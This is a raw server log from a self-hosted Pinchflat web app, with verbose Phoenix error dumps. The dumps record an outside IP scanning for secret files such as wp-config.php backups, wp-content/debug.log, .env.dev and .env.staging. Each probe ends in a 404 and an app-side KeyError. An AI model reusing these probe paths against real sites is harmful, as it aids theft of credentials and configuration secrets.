"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53656}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21513.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfkv3QSsoNe0ACMYB"} (truncated) 15:40:21.136 [info] GET /wp-config.php~ 15:40:21.136 [debug] QUERY OK source="settings" db=0.1ms idle=765.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.136 [debug] QUERY OK source="settings" db=0.0ms idle=765.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.136 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:21.136 [error] #PID<0.21515.0> running PinchflatWeb.Endpoint (connection #PID<0.21514.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php~ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21515.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAflhsHzh3AmQACMYh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21515.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAflhsHzh3AmQACMYh"} ], scheme: :http, (truncated) 15:40:21.250 [info] GET /wp-content/debug.log 15:40:21.250 [debug] QUERY OK source="settings" db=0.1ms idle=322.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.250 [debug] QUERY OK source="settings" db=0.0ms idle=322.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.250 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:21.250 [error] #PID<0.21517.0> running PinchflatWeb.Endpoint (connection #PID<0.21516.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-content/debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21517.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-content/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfl851iXM0HQACMZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21517.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-content/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id (truncated) 15:40:21.461 [info] GET /.env.dev 15:40:21.461 [debug] QUERY OK source="settings" db=0.1ms idle=414.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.461 [debug] QUERY OK source="settings" db=0.0ms idle=325.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.461 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:21.461 [error] #PID<0.21519.0> running PinchflatWeb.Endpoint (connection #PID<0.21518.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53688}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21519.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfmvK18vu7egACMZh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53688}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53688}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21519.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfmvK18vu7egACMZh"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:21.819 [info] GET /.env.staging 15:40:21.820 [debug] QUERY OK source="settings" db=0.2ms idle=683.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.820 [debug] QUERY OK source="settings" db=0.0ms idle=569.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:21.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:21.820 [error] #PID<0.21521.0> running PinchflatWeb.Endpoint (connection #PID<0.21520.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53692}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21521.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfoEtq2iYAlsACMaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53692}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: 